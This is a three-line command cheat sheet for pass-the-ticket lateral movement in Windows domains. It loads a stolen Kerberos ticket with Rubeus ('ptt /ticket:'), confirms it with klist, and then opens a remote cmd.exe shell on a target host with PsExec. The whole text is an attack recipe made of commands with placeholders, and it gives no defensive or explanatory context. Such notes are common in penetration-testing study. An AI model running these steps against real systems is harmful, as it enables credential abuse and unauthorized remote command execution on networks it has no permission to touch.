1. Rubeus.exe ptt /ticket:<ticket>

2. confirm the ticket - klist

3. Use Psexec tool - PsExec.exe \\<IP> cmd.exe